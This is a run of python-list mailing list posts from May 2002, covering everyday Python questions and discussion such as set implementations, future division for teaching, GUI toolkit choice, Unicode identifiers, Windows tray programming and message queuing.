Laura Creighton wrote: > I can provide any number of people who consider, as a matter of > principal, that it is _always_ better to make it part of the > library and not part of the language. Some of these people will I think this way. > also argue that it is bad to provide users with options. This is To some extent. > the 'lean and elegant' school of language design, and they are > extrmely consistent in liking tiny languages with large libraries. Exactly! One of the best languages I've ever saw was Forth. Once I even implemented Forth interpreter. The core of the interpreter was 200 lines in assembler, and after that I switched to Forth and implemented the rest of the language and library using the Forth itself. Oleg. -- Oleg Broytmann http://phd.pp.ru/ phd at phd.pp.ru Programmers don't die, they just GOSUB without RETURN. From aleax at aleax.it Sun May 12 14:55:26 2002 From: aleax at aleax.it (Alex Martelli) Date: Sun, 12 May 2002 18:55:26 GMT Subject: Iterating over the cells of an array? References: Message-ID: Fernando P?rez wrote: ... > (haven't received any of your mails, btw -- must be some blockage...?) > to this point. It looks like ravel does 'the right thing': .flat if > possible, and if not it returns a contiguous copy. Yep, although I don't think it's clearly documented to behave this way. Alex From ljz at asfast.com Sun May 5 01:31:08 2002 From: ljz at asfast.com (Lloyd Zusman) Date: Sun, 05 May 2002 05:31:08 GMT Subject: Something getmail-like, but with IMAP as well as POP3? Message-ID: I like the "getmail" utility (written in Python), but it only handles POP3 retrieval. Does anyone know of any hacks or patches for "getmail", or perhaps another Python utility altogether, which functions similarly to "getmail" but which makes use of IMAP as well as POP3? I know about "fetchmail", but it's not suitable to me because I want to make some personal changes to the utility's functionality, and that would be much easier to do in Python than in C (which "fetchmail" is written in). Thanks in advance for any suggestions for such a Python utility. -- Lloyd Zusman ljz at asfast.com From hmerrill at redhat.com Mon May 13 17:20:34 2002 From: hmerrill at redhat.com (Hardy Merrill) Date: Mon, 13 May 2002 17:20:34 -0400 Subject: Read file from bottom In-Reply-To: <3CE026E9.DAB30A8F@jpl.nasa.gov>; from julia.bell@jpl.nasa.gov on Mon, May 13, 2002 at 01:49:46PM -0700 References: <3CE01380.81F9A087@jpl.nasa.gov> <3CE026E9.DAB30A8F@jpl.nasa.gov> Message-ID: <20020513172034.A24566@merrill.redhat.com> You probably already know this, but on the chance you don't, you can add a parameter to tail to tell it how many lines from the bottom you want. For example, if I want 35 lines from the bottom I can do tail -35 | python script.py HTH. -- Hardy Merrill Senior Software Engineer Red Hat, Inc. Julia Bell [julia.bell at jpl.nasa.gov] wrote: > Good idea; I never thought of something like that. > > My initial reaction is that I don't know I exactly how many lines frm the > bottom I want. (I currently read the lines, search for data on the lines > that meets some trigger criterion, and then start processing the data from > there.) But, there still might be something worth thinking about regarding > whether it is more efficient to pre-process the data (similar to using > 'tail') than to process it as part of my script. > > Thanks. > > Julia Bell > > > William Park wrote: > > > Julia Bell wrote: > > > > > > > > Is there an efficient (and relatively easy - I'm new to Python) way of > > > reading the file from the last line backward instead of the first line > > > forward? > > > > > > tail | python script.py > > > > -- > > William Park, Open Geometry Consulting, > > 8-CPU Cluster, Hosting, NAS, Linux, LaTeX, python, vim, mutt, tin > > -- > http://mail.python.org/mailman/listinfo/python-list From jd_bertron at hotmail.com Fri May 17 08:22:08 2002 From: jd_bertron at hotmail.com (Jean-Denis Bertron) Date: 17 May 2002 05:22:08 -0700 Subject: Blender Message-ID: Hi all, Can I create a hot key or button to automatically place a new vertex at a calculated position, based on a selection of vertices ? Can someone send me a snippet of python code to do that ? In detail, I need to automatically place a new object or vertex at the center of the sphere defined by 4 vertices. I would like to select the 4 vertices and call a script or push a button. Can someone help me wire that in Blender 2.23 ? Thanks. J.D. From nookieNO_SP_AM at online.no Fri May 31 05:07:13 2002 From: nookieNO_SP_AM at online.no (Erlend J. Leiknes) Date: Fri, 31 May 2002 09:07:13 GMT Subject: count file References: <3cf734ba_1@news.iprimus.com.au> Message-ID: <53HJ8.7782$fG3.277261@news2.ulv.nextra.no> import os.path path = "/" items = os.path.listdir(path) myfiles = [] for i in range(len(items): if os.path.isfile(path + items[i]): myfiles.append(path + items[i]) "Gold Fish" wrote in message news:3cf734ba_1 at news.iprimus.com.au... > How can we determine how many file in directory, From grante at visi.com Wed May 8 09:24:29 2002 From: grante at visi.com (Grant Edwards) Date: Wed, 08 May 2002 13:24:29 GMT Subject: Has Red Hat helped or hurt? References: <4pbhdu4t69e6eqt3q3l4q72odo0c9ufo9p@4ax.com> Message-ID: In article <4pbhdu4t69e6eqt3q3l4q72odo0c9ufo9p at 4ax.com>, Tim Roberts wrote: > However, it makes it deucedly difficult to upgrade away from 1.52. I've never had any problems. You can install the Python2 package from readhat, or you can do the normal install from sources. Both worked fine for me. The former installs as /usr/bin/python2 with libs in /usr/lib/python2.1. The latter installs in /usr/local/. > If one upgrades /usr/bin/python to be 2.x, all of Red Hat's > custom configuration scripts are no longer found in > site-packages. Leave /usr/bin/python alone so that those scripts still run 1.5.2. > How have other people handled this? I usually install Python 2.x in /usr/local and put /usr/local/bin before /usr/bin in my PATH. Then I do #!/usr/bin/env python In my scripts. -- Grant Edwards grante Yow! Have my two-tone, at 1958 Nash METRO brought visi.com around... From python at rcn.com Mon May 6 16:38:52 2002 From: python at rcn.com (Raymond Hettinger) Date: Mon, 6 May 2002 16:38:52 -0400 Subject: calendar.py doesn't use lists??? References: <9a6d7d9d.0205060551.6ccab1e3@posting.google.com> Message-ID: > Seriously, though, isn't regenerating month names on every access > a bit over the top? Why not just generate real lists once and provide > some function that can regenerate them if and when the locale changes? > > How many applications have locale changes in the middle of a process > run? If it bugs you, add a cache to _localized_name: class _localized_name: def __init__(self, format): self.format = format self.cache = {} def __getitem__(self, item): return self.cache.setdefault(item, strftime(self.format, (item,)*9).capitalize()) > This reminds me of a story in "The Mythical Man Month" where part > an IBM operating system kernel was devoted to dealing with daylight > savings time (back when bytes costed multiple hundred dollars and core > was measured in K's). Are you saying that printing calendars is in the same "performance critical" league as the IBM OS kernel? > Just had to gripe again. -- Aaron Watters Hope you feel better . Raymond Hettinger From wilk at flibuste.net Fri May 10 12:01:44 2002 From: wilk at flibuste.net (William Dode) Date: Fri, 10 May 2002 18:01:44 +0200 Subject: Which GUI Library to Use References: Message-ID: <20020510180144.4756ac9c.wilk@flibuste.net> Le Thu, 9 May 2002 22:53:46 -0400 "A. Keyton Weissinger" ?crivait: > Hi Folks, > > I am beginning work on what will likely turn into a fairly large > GUI-based application and would like your thoughts on which library to > use: > > A) Tk Only > B) Tk with Python Mega-widgets or similar (i.e. Tk with some other > stuff) C) Qt (BlackAdder just announced the incorporation of Qt3 into > BA) D) wxPython > > I want to get the best combination of easiest to install most feature > rich and do not have enough experience with the non-Tk libraries. I use wxPython with lot of satisfactions, very easy to learn and the mailing-list help you very quickly. Qt is not gpl licence for windows... bye > > Thank you!!!! > > Keyton > > > -- William Dod? - Informaticien Ind?pendant http://www.flibuste.net From tim.one at comcast.net Thu May 23 19:14:04 2002 From: tim.one at comcast.net (Tim Peters) Date: Thu, 23 May 2002 19:14:04 -0400 Subject: Python in a 386 computer In-Reply-To: Message-ID: [rvertulo] > Is it possible to run python in a 386 computer? Damn. I knew we forgot *something*! putting-my-13-bit-bytes-patch-on-hold-ly y'rs - tim From tjreedy at udel.edu Thu May 16 08:44:05 2002 From: tjreedy at udel.edu (Terry Reedy) Date: Thu, 16 May 2002 12:44:05 GMT Subject: sorted list vs dictionnary References: Message-ID: "Alexandre Fayolle" wrote in message news:slrnae76u4.jdt.alf at virgo.logilab.fr... > Hello everyone, > > I have a class that is able to process messages. I want to avoid > processing the same message twice, so a solution is to maintain a set > of processed messages IDs, and to check if for the presence of the ID > before processing a document. > > I've found two ways (without using anything outside the standard > library) of doing this: > > * use a dictionnary with the ID as the key and None as the value, and > check for the key with cache.has_key(msg.ID) > * use a sorted list and the bisect module to keep it sorted, and check > for the key with > i = bisect.bisect_left(l,e) > if i pass > > I'd expect the first one to be faster, since the lookup of a key in a > dictionnary is O(1), and insertion is a dictionnary is roughly O(1) too, > whereas bisect_left is O(log(N)), and inserting in the middle of a list > is O(N). > > Could anyone confirm the speed issue, and maybe share some insights about > the memory efficiency of both solutions, especially when the number of > IDs get big (the order of magnitude is 50000)? I'm not too familiar with the > implementation of lists and dictionnary in the interpreter. For the reasons you discerned, a dictionary with a dummy value is currently the standard way to maintain a set. Currently, using 1 instead of None as the dummy is faster since it avoids the lookup of the name 'None' in the module and builtin dicts, but this will change when 'None' is made a keyword (maybe in 2.3). I believe internal memory consumption should be near enough the same to not be a worry. Terry J. Reedy From michael.williams at st-annes.oxford.ac.uk Sun May 12 06:51:30 2002 From: michael.williams at st-annes.oxford.ac.uk (Michael Williams) Date: Sun, 12 May 2002 11:51:30 +0100 Subject: Changing to future division sitewide Message-ID: We are about to embark on a series of trials of the Python language with a view to replacing Pascal as the teaching language here in the department of Physics at Oxford University [0]. We have a day (!) to teach the language so we are really keen on using the new division that returns a mathematically intuitive result (see ) as it is one less thing to explain. [0] Hence this port to EDU-Sig However, our students will be using idlefork to program (both intereactively and in stored modules). Is there any way we can get the new division behaviour sitewide, i.e. we would like the new behaviour in the following situations: 1) typing python at a command prompt (alias "python" to "python -Qnew"?) 2) running a module they've saved (or indeed any module) This might be problematic as it would presumably apply to all modules on the system which might break things--although this is a fresh install of Python. All we have here is Python 2.2.1, Numeric, Gnuplot.py (a Python wrapper of the Gnuplot program) and idlefork (which is the development version of idle). 3) Someone using the interactive interpreter in idlefork Presumably this is going to involve doing more than one thing if it ieven possible. We could always tell our students to put "from __future__ import division" at the start of every program without explaining it, but that's the kind a black magic we hoped to avoid by using Python rather than, say, C. Yours hopefully, -- Michael From arena at pacific.net.sg Sun May 19 13:30:44 2002 From: arena at pacific.net.sg (Matthew Chong) Date: Mon, 20 May 2002 01:30:44 +0800 Subject: how to do session management with python ? Message-ID: Java has servlet feature to take care of session tracking... but how does python do it ?? From pinard at iro.umontreal.ca Wed May 8 19:16:45 2002 From: pinard at iro.umontreal.ca (=?iso-8859-1?q?Fran=E7ois?= Pinard) Date: 08 May 2002 19:16:45 -0400 Subject: Multibyte Character Surport for Python In-Reply-To: References: Message-ID: [Martin v. Loewis] > PEP 263 will introduce the notion of source encodings - without this, > it wouldn't even be possible to parse the source code, anymore. The > PEP, over months, had a question in it asking whether non-ASCII > identifiers should be allowed (the follow-up question would then be: > which ones?), and nobody ever spoke up requesting such a feature. I did speak about nationalised identifiers a few times already, in private discussions, and once or twice with Guido. But not in the context of PEP 263. Except very few of them, I do not follow PEPs very closely, once I have an overall idea of their subject, and do not feel personally guilty of what happens, or does not happen, in Python :-). There are many people for this already! :-) > It is a real surprise for me that suddenly people want this. I read you a few times in the past (I do read you!) expressing that you are not favourable to supporting national letters in Python identifiers. So, in a way, your surprise does not surprise me! :-). On the other hand, I'm surely glad that we are breaking the ice on this topic! > pinard at iro.umontreal.ca (Fran?ois Pinard) writes: > > Existing code is not going to break, as long as English identifiers stay > > a subset of nationally written identifiers. Which is usually the case > > for most character sets, Unicode among them, allowing ASCII letters as a > > subset of all letters. > For Python, existing code, like inspect.py, *will* break: if introspective > code is suddenly confronted with non-ASCII identifiers, it might break, > e.g. if Unicode objects show up as keys in __dict__. Should I read that one may not use Unicode strings as dictionary keys? One would expect Python to support narrow and wide strings equally well. In that precise case, `inspect.py' would need to be repaired, indeed. A lot of things have been "repaired" when Unicode was introduced into Python, I see this as perfectly normal. It is part of the move. > > Having the capability of writing identifiers with national letters is > > not going to break other people's code, this assertion looks a bit like > > gratuitous FUD to me. Unless you are referring to probable transient > > implementation bugs which are normal part of any release cycle? > No. The implementation strategy would be to allow Unicode identifiers > at run-time, and all introspective code - either within the Python > code base, or third-party, would need revision. Most probably. If national identifiers get introduced through Latin-1 or UTF-8, the problem appears smaller. But I agree with you that for the sake of Python being useful to more countries, it is better going the Unicode way and afford both narrow and wide characters for identifiers. This approach would also increase Python self-consistency on charsets. -- Fran?ois Pinard http://www.iro.umontreal.ca/~pinard From dalke at dalkescientific.com Wed May 1 05:39:52 2002 From: dalke at dalkescientific.com (Andrew Dalke) Date: Wed, 1 May 2002 03:39:52 -0600 Subject: Python vs. Perl, which is better to learn? References: <20020501052506.30164.5146.Mailman@mail.python.org> Message-ID: Terry Hancock: >Thanks for the example -- I think there is some definite >merit to this. It occurs to me that you might be both more >clear and more compact (and equally pythonic?) to say: > >digit = '[0-9]' >date = '\(' + 4*digit + '/' + 2*digit + '/' + 2*digit + '\)' > >for the regular expression, so you don't have to count >the digits. This comes from my Martel project (http://www.dalkescientific.com/Martel) >>> from Martel import Time >>> Time.make_pattern("%(YYYY)/%(MM)/%(DD)") '(?P[0-9]{4})\\/(?P(0[1-9]|1[012]))\\/(? P(0[1-9]|[12][0-9]|3[01]))' >>> print Martel.select_names(Time.make_expression("%(YYYY)/%(MM)/%(DD)"), ()) [\d]{4}\/(0[1-9]|1[0-2])\/(0[1-9]|[12][\d]|3[01]) >>> The first one uses an extension to regular expressions to allow XML-style key/value pairs on the match names. The second one makes an regexp parse tree I can manipulate -- in this case to remove all named groups. This solution is even nicer in some sense because it's easy to read and it doesn't allow 1234/56/78 as a legal year. >My Perl teacher described Perl as being "like English", >full of idioms and synonyms and ambiguities resolved >by context -- an organic, naturally evolved solution >to programming problems. If so, Python is probably like >Esperanto -- artificial, clean, regular, and easy to >learn, though perhaps not as creatively expressive in >itself. Oh my, not this argument again. Before people respond, there's been discussions on the English/Esperanto comparison before. Please check the archives. Andrew dalke at dalkescientific.com From tebeka at lycosmail.com Mon May 20 00:50:53 2002 From: tebeka at lycosmail.com (Miki Tebeka) Date: 19 May 2002 21:50:53 -0700 Subject: pythonwin, GetWindowText hangup & more Message-ID: <548ef0ae.0205192050.6930968e@posting.google.com> Hello All, I'm trying to write a small application that will kill any leftovers from an application crash. I took the win32gui_taskbar.py demo and changed it a bit. In the loop starting at line 80 there is a hangup when calling GetWindowText. When I run this code isolated it seems to work find. Any ideas? And another question: How do I get process id from hwnd? (Can't see GetWindowThreadProcessId in win32api) Thanks. Miki. The code (since I'm posting from Google groups I couldn't attach the icon): '''Kill Bee ''' from win32api import * import win32api # for explicit MessageBox from win32gui import * from win32process import * import win32con import sys, os VERSION = "1.0" class MainWindow: def __init__(self): # Tray message self.ID_TRAYMSG = win32con.WM_USER + 20 # Menu Messages self.ID_KILL = 1023 self.ID_ABOUT = 1024 self.ID_QUIT = 1025 message_map = { win32con.WM_DESTROY: self.OnDestroy, win32con.WM_COMMAND: self.OnCommand, self.ID_TRAYMSG : self.OnTaskbarNotify, } # Register the Window class. wc = WNDCLASS() hinst = wc.hInstance = GetModuleHandle(None) wc.lpszClassName = "BeeKiller" wc.style = win32con.CS_VREDRAW | win32con.CS_HREDRAW; wc.hCursor = LoadCursor( 0, win32con.IDC_ARROW ) wc.hbrBackground = win32con.COLOR_WINDOW wc.lpfnWndProc = message_map # could also specify a wndproc. classAtom = RegisterClass(wc) # Create the Window. style = win32con.WS_OVERLAPPED | win32con.WS_SYSMENU self.hwnd = CreateWindow( classAtom, "BeeKiller", style, \ 0, 0, win32con.CW_USEDEFAULT, win32con.CW_USEDEFAULT, \ 0, 0, hinst, None) UpdateWindow(self.hwnd) # Custom icon iconPathName = '%s/beekiller.ico' % os.getcwd() assert(os.path.isfile(iconPathName)) icon_flags = win32con.LR_LOADFROMFILE | win32con.LR_DEFAULTSIZE hicon = LoadImage(hinst, iconPathName, win32con.IMAGE_ICON, 0, 0, icon_flags) flags = NIF_ICON | NIF_MESSAGE | NIF_TIP nid = (self.hwnd, 0, flags, self.ID_TRAYMSG, hicon, "Bee Killer") Shell_NotifyIcon(NIM_ADD, nid) def OnDestroy(self, hwnd, msg, wparam, lparam): nid = (self.hwnd, 0) Shell_NotifyIcon(NIM_DELETE, nid) PostQuitMessage(0) # Terminate the app. def OnTaskbarNotify(self, hwnd, msg, wparam, lparam): if lparam==win32con.WM_LBUTTONUP or \ lparam==win32con.WM_LBUTTONDBLCLK or \ lparam==win32con.WM_RBUTTONUP: menu = CreatePopupMenu() AppendMenu( menu, win32con.MF_STRING, self.ID_KILL, "Kill Bee") AppendMenu( menu, win32con.MF_STRING, self.ID_ABOUT, "About") AppendMenu( menu, win32con.MF_STRING, self.ID_QUIT, "Quit Program" ) pos = GetCursorPos() TrackPopupMenu(menu, win32con.TPM_LEFTALIGN, pos[0], pos[1], 0, self.hwnd, None) return 1 def OnCommand(self, hwnd, msg, wparam, lparam): id = LOWORD(wparam) if id == self.ID_KILL: windows = [] EnumWindows(lambda h, w: w.append(h), windows) for w in windows: title = GetWindowText(w) if not title: title = 'Unknown' print '%s: %s' % (w, title) elif id == self.ID_ABOUT: win32api.MessageBox(0, "BeeKiller %s" % VERSION, "BeeKiller", win32con.MB_OK | win32con.MB_TOPMOST) elif id == self.ID_QUIT: DestroyWindow(self.hwnd) else: print "Unknown command -", id def main(): w=MainWindow() PumpMessages() if __name__=='__main__': main() From shredwheat at attbi.com Thu May 9 11:16:48 2002 From: shredwheat at attbi.com (Pete Shinners) Date: Thu, 09 May 2002 15:16:48 GMT Subject: auto read multiple files References: Message-ID: <3CDA92AC.70007@attbi.com> Rad wrote: > Hi, > > I have about 2500 text files to read (and manipulate) from apx. 625 > directories (i.e. 4 files per directory) eg: use the glob module, it should be a pefect fit for you. it does unixy-wildcard matching on filenames and paths. import glob filenames = glob.glob(r'C:\Python22\data\ProjectName\*\FileName?.*') for filename in filenames: processfile(filename) it seems very strange to me that you care keeping these thousands of data files inside the C:\Python22 directory? From whisper at oz.net Wed May 15 03:28:57 2002 From: whisper at oz.net (David LeBlanc) Date: Wed, 15 May 2002 00:28:57 -0700 Subject: Scope in 2.2.1 In-Reply-To: <83bsbjk5v7.fsf@panacea.canonical.org> Message-ID: I was refering to a functional view of how python works and not how it actually works. If what i'm told is true (and I don't think i've been mislead), I think that what one might call initializers or bind-with-assignment are effectively (if not actually) declarations: a = 0; declares (binds) a variable called "a" and assigns a value of 0 to it. Although Python has a single pass sequential parser, it has some behaviors that act as though there are one or more pre-passes to discover bindings (and Terry Reedy mentioned another "pass" that recognizes generators). Please see the posts by Terry Reedy (he refers to passes as "runtimes") and Tim Peters with this same subject. I don't really think of global as a binding, although I know that technically it is. I think of it as "these names refer to variables bound in the outer-most scope". I regret having failed to adequately attribute Alex Martelli, a frequent contributor to the python mailing list and c.l.p, as the author of the quoted text. While functional programming may be a wonderful thing, my experience with functional programming languages has left me cold. I was recently encouraged to take a look at Haskell and my impression is that it makes Perl look positively lucid in comparison. I have also looked at ml and caml and was similarly impressed. David LeBlanc Seattle, WA USA > -----Original Message----- > From: python-list-admin at python.org > [mailto:python-list-admin at python.org]On Behalf Of Kragen Sitaker > Sent: Monday, May 13, 2002 16:04 > To: python-list at python.org > Subject: Re: Scope in 2.2.1 > > > "David LeBlanc" writes: > > I have grown accustomed by long use to the way that C, C++ and > Pascal (and > > asm for that matter!) become aware of declarations. To use an analogy, > > there's a line that moves down the page and things below the line are > > unknown to the compiler since they're not seen yet unless > they're forward > > declared. > > Yes; unfortunately, this doesn't work in Python because Python doesn't > have declarations, forward, backward, inside, outside, or upside down, > except for the "global" statement. If Python had declarations, we > could avoid this whole mess. > > > Code is parsed based on what's known above the line. Python seems > > to have an implicit per block pre-pass that gets all the bindings before > > statements are parsed. Is this the correct idea? > > Python code is parsed sequentially, in a single pass; you will note > that assignment to a global variable is syntactically identical to > assignment to a local variable, and there is no declaration (like C's > typedef and C++'s four other kinds of declarations that do the same > thing) that will change the parsing of code. > > However, the bytecode generated by compiling a parsed statement may > indeed depend on statements after it, and yes, this is sometimes > surprising. > > > [David quotes somebody he neglects to credit, who signed "Alex" > at the bottom] > > > the x in the print may reference either the same binding as > given by f's > > > caller, or the binding to 45. It IS certainly a reference to > the *local > > > variable* named x, but what binding of that local variable > applies, it's > > > anybody's guess. "scoping" might be a useful neologism here. > > > > gaaaaa! this is mad! How can you write a sane program in this sort of > > environment?!? > > Goodness, David, I had no idea you were such a functional-programming > enthusiast. :) > > -- > http://mail.python.org/mailman/listinfo/python-list From aleax at aleax.it Sun May 5 03:22:17 2002 From: aleax at aleax.it (Alex Martelli) Date: Sun, 05 May 2002 07:22:17 GMT Subject: Theoretical question about Lambda References: <3CD0DCD6.4050403@vip.fi> Message-ID: Bengt Richter wrote: > On Thu, 02 May 2002 21:05:45 GMT, Alex Martelli wrote: >> >>I can't argue that lambda lets you do anything substantial that def >>doesn't -- there would be just no basis to substain such an argument. >>I'm curious to see what you think there might be. >> > I'm working on it ;-) "Substantial" does present an added hurdle ;-) I originally thought this kind of situation might count as 'substantial': funs = [ (lambda : x) for x in seq ] i.e., the ability to use a list comprehension rather than a for/append loop when the functions were simple enough. But then of course I thought of a closure-generating-and-returning auxiliary function: def funize(x): def fun(): return x return fun funs = [funize(x) for x in seq] and *this* generalizes -- no "functions simple enough" constraint. Alex From nospam at bigfoot.com Thu May 30 11:29:31 2002 From: nospam at bigfoot.com (Gillou) Date: Thu, 30 May 2002 17:29:31 +0200 Subject: Newbie Database. References: <24d8090a.0205270854.6cadc50b@posting.google.com> <24d8090a.0205271841.19cc5011@posting.google.com> Message-ID: > > Yeah I had a feeling that it would be cumbersome. Do you know of any > database engines that are easily controlled by python and/or easy to > learn :) I've never really been exposed to them before. > Gadfly is quite easy and 100% python (search "gadfly" from www.sourceforge.net) If you want a faster and more scalable data server, you can use MySQL (www.mysql.org). There are python adapters for MySQL ... http://sourceforge.net/projects/mysql-python/ HTH --Gilles From python at dohao.org Wed May 8 21:47:31 2002 From: python at dohao.org (Wenshan Du) Date: 8 May 2002 18:47:31 -0700 Subject: Python Enterprise Objects Message-ID: hi,all I like python very much, but I find that python is not very suitable for enterprise application for now. So, I make a project named Python Enterprise Objects for enterprise application at sourceforge.net. I want it to be a replacement of J2EE, or Mirosoft .Net framework. Some API will added. I need some advice about how to make this dream to fact. You can see my project at: http://sourceforge.net/projects/peo Thanks a lot. From jb at cascade-sys.com Sat May 18 03:24:03 2002 From: jb at cascade-sys.com (James J. Besemer) Date: Sat, 18 May 2002 00:24:03 -0700 Subject: PEP 218 Re: ANN: set-0.1 module available References: <3CE55E8B.1B80EBE3@alcyone.com> Message-ID: <3CE60193.6B0FC5F3@cascade-sys.com> Fernando P?rez wrote: > Ok, I should have expressed myself more carefully. I'm not a mathematician by > training,[...]. Me neither. > My only formal contact with the subject had been in long ago > history of mathematics courses I took for fun. Same here. Fascinating stuff, no? > What I had in mind is that in the context of an evolving problem (such as is a > computer program which executes in time), the elements which satisfy the > definition of a given set can increase. What I had in mind was the difference > between saying 'x=5', which fairly well 'fixes' x and saying > > 's={f | f is a file in '.' with size > 10k} ' > > which can change if new files are added to the directory as the program > evolves (assuming it checks periodically). So while I agree with your strict > mathematical definition of immutability, I hope what I had in mind is clearer > now. I understood you perfectly and I (re)submit that your needs as stated can be met equally well by a set implementation that happen to be immutable. E.g., in your above example, the syntax in the {} is a constructor. Each time it is evaluated it would create a NEW set object and assign it to s. The object itself could be immutable and yet you could express the computations you desire. What you really need is to be able to change the set valued object assigned to s, and you can do that by changing the existing object or by assigning a new one. Creating a new one each time SOUNDS like a lot more work but in practice I bet it won't be. The set operations themselves are fairly expensive and duping the object probably won't take significantly longer. A better example might be something like s = { some set } ... while 1: s += { file.getname() } Here you presumably have an existing set assigned to s and you're maybe adding a new element by reading a name out of a file. By += we want to union the new element into the set. Again, there is NO problem if the set is immutable. Set objects would define a "+" operator and a "+=". The fact that a new set object gets created doesn't matter, same as if a new string is created by its "+=" operator. > Shame on me for the lack of precision, I'll be more careful next time. Ha! Don't worry. *I* have made much bigger mistakes here. Anyway, I objected to your rationale. As we discuss this further, my position is softening on the ultimate outcome. > Here you completely misunderstood me. I don't think I misunderstood. Rather I simply disagree. Everything you want can be provided by a set implementation that is immutable or mutable. Doesn't matter. Implementation details aside, "immutable" means a few specific things in Python: (a) if objects a and b are of the same immutable type, then a == b <=> a is b. (b) immutable objects export a __hash__() function such that a == b <=> __hash__( a ) == __hash__( b ) (c) Operation ons immutable objects always produce new objects, rather than changing the state of an existing one. A chief way this comes into play is in function calls: def f( s ): s.modification() s = { some set } f( s ) At the end of this sequence, if s is immutable then the side-effect in f() is NOT propigated to the variable s passed in. To propigate the side effect, f() needs to expressly return a result, e.g., def f( s ): s.modify() return s s = { some set } s = f( s ) Thus if sets were immutable then functions that modify sets would have to be true functions. You would not be able to write functions that alter arguments in place via side effects. Chief benefit of immutability is that sets could be used as keys to dictionaries. One voice from the frontier says most ops do NOT mutate sets. Another says he'd do it all the time if he could. There is not a lot of clamor for needing set indicies in dictionaries. Downside, is functions (a) and (b) above are non-trivial to implement and if you give up immutability then there's no reason to. The copying implied at each operation could be unnecessarily expensive for very large sets. Some would argue the loss of functional side effects is a bad thing. The present prototype implementation is mutable. All things considered, I withdraw my guilty plea and change my own vote to mutable. Regards --jb -- James J. Besemer 503-280-0838 voice http://cascade-sys.com 503-280-0375 fax mailto:jb at cascade-sys.com From cbbrowne at cbbrowne.com Fri May 3 01:37:23 2002 From: cbbrowne at cbbrowne.com (Christopher Browne) Date: Fri, 03 May 2002 01:37:23 -0400 Subject: Message queuing In-Reply-To: Message from "Noah" of "Thu, 02 May 2002 21:19:28 PDT." References: Message-ID: <20020503053723.6A2C738B15@cbbrowne.com> > > You are right. We did send back confirmations at the application level... > We maintained our own audit trails in mySQL. > So we did most of the work ourselves. > When all is said and I done I suppose we could have > used almost any transport mechanism. > But it did do queuing! You can't deny that! > > I've never had need for Quality of Service in the queuing systems > I have used (and QOS was sort of a non-issue at BlueLight.) I'm not so much thinking of measuring different levels of service as I am of having guaranteed delivery, which is something you definitely _don't_ get with SMTP... > SOAP::Lite is Perl. What's the matter with you? > I'd sooner write Java... The point is that it exists, and that one might look at it to see its merits (well, it exists :-)) and its demerits (which are considerable). > That OpenQueue stuff looks interesting. Although it's Java > it does not appear to be a Java only interface. > Last updated nearly two years ago... hmmm... Looks dead. > What else looks fresh? The other interesting one doesn't maintain persistent queues; take a look for Thomas Gagne's "Isect". -- (concatenate 'string "cbbrowne" "@acm.org") http://www.cbbrowne.com/info/lsf.html "So, does this mean goodbye to the "Bluescreen of Death" and hello to the "Bluescreen of Holy Vengeance?"" -- Observed on Slashdot after hearing Al Qaeda terrorists may have hacked on Windows XP... -- (reverse (concatenate 'string "moc.enworbbc@" "sirhc")) http://www.cbbrowne.com/info/linuxxian.html "My theory is that someone's Emacs crashed on a very early version of Linux while reading alt.flame and the resulting unholy combination of Elisp and Minix code somehow managed to bootstrap itself and take on an independent existence." -- James Raynard in c.u.b.f.m on nature of Albert Cahalan -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 2209 bytes Desc: not available URL: From rjones at ekit-inc.com Sat May 18 21:56:40 2002 From: rjones at ekit-inc.com (Richard Jones) Date: Sun, 19 May 2002 11:56:40 +1000 Subject: Gadfly-1.0rc1 Errors In-Reply-To: References: Message-ID: <200205191156.40469.rjones@ekit-inc.com> On Sun, 19 May 2002 11:24, Andrew Dalke wrote: > David LeBlanc: > >This is not failing because a file is open imo; it's failing because > > you're trying to remove an non-empty directory. Windows won't do that > > directly. It would be nice if shutils.rmtree took an '-f' flag analgous > > to the force > > flag > > >of rm on Unix and did the right thing on windows, which is delete all the > >files in the selected dir(s) and then deleted the directory(s). > > Doesn't shutil.rmtree do exactly that? Yep. I've modified the CVS so the test closes the db before removing the dir. Hopefully this will fix the failures - but I can't test it. Richard From phd at phd.pp.ru Fri May 24 04:21:31 2002 From: phd at phd.pp.ru (Oleg Broytmann) Date: Fri, 24 May 2002 12:21:31 +0400 Subject: Win $ 3,000.00 in cash ! In-Reply-To: ; from nookieNO_SP_AM@online.no on Fri, May 24, 2002 at 05:19:40AM +0000 References: Message-ID: <20020524122131.C5050@phd.pp.ru> On Fri, May 24, 2002 at 05:19:40AM +0000, Erlend J. Leiknes wrote: > how come that its only asians who send spam? > atleast, all I get is from them. I receive spam from all over the world - from North America, South Africa, Russia, Australia. But Asia, especially China, Korea and Taiwan are really the most active spammers, have the most careless ISPs with a millions of open relays, etc. Don't know why, but it's very tiresome. Thanks, there are good spamfilters - Vipul's Razor and SpamAssassin are currently the best. Oleg. -- Oleg Broytmann http://phd.pp.ru/ phd at phd.pp.ru Programmers don't die, they just GOSUB without RETURN. From peter at engcorp.com Thu May 9 01:13:15 2002 From: peter at engcorp.com (Peter Hansen) Date: Thu, 09 May 2002 01:13:15 -0400 Subject: [Survey] Py Feedback References: <3cd9a9d9.196458672@news.newsguy.com> Message-ID: <3CDA056B.E213A4A3@engcorp.com> Bryan Richard wrote: > > Given all this, does anyone have an opinion on what the consumer > interest in a Python periodical might be? Keep it small; keep it on > the web? > > My thinking has always been that Py, and subsequently, Python, would > reach more people if it were in a bookstore. Perhaps I'm wrong. Maybe negotiate to make it an insert in some reputable existing journal? -Peter From rnd at onego.ru Thu May 30 08:26:18 2002 From: rnd at onego.ru (Roman Suzi) Date: Thu, 30 May 2002 16:26:18 +0400 (MSD) Subject: How to concatenate list members In-Reply-To: Message-ID: On Thu, 30 May 2002, Eric Brunel wrote: What is wrong with: sep.join(alist) ? (or, for older Pythons: import string string.join(alist, sep) > Ruediger Maehl wrote: > > I would like to concatenate all members of a list of strings. > > How can I do that? > > I know, I can use a for loop over all elements and concatenate > > them to one string. But is there another more efficient solution? > > # =========================================== > > def concat1(alist, sep=" "): > > res = "" > > for e in alist: > > res += str(e) > > res += sep > > > > return res[:-1] > > > > a = ["200100002", "200100003", "200100004"] # many many more to come ... > > > > b = concat1(a, "_") > > > > print b > > > > # and b then looks like this: > > # "200100002_200100003_200100004" > > Try this: > > def concat1(alist, sep=" "): > if not alist: return '' > return reduce(lambda x,y,sep=sep: x + sep + y, alist) > > The "if" is necessary because as it's written, the reduce won't work on > empty lists. > > If you like one-liners, you can also do this: > > b = (a and reduce(lambda x,y: x + "_" + y, a)) or '' > > HTH > Sincerely yours, Roman 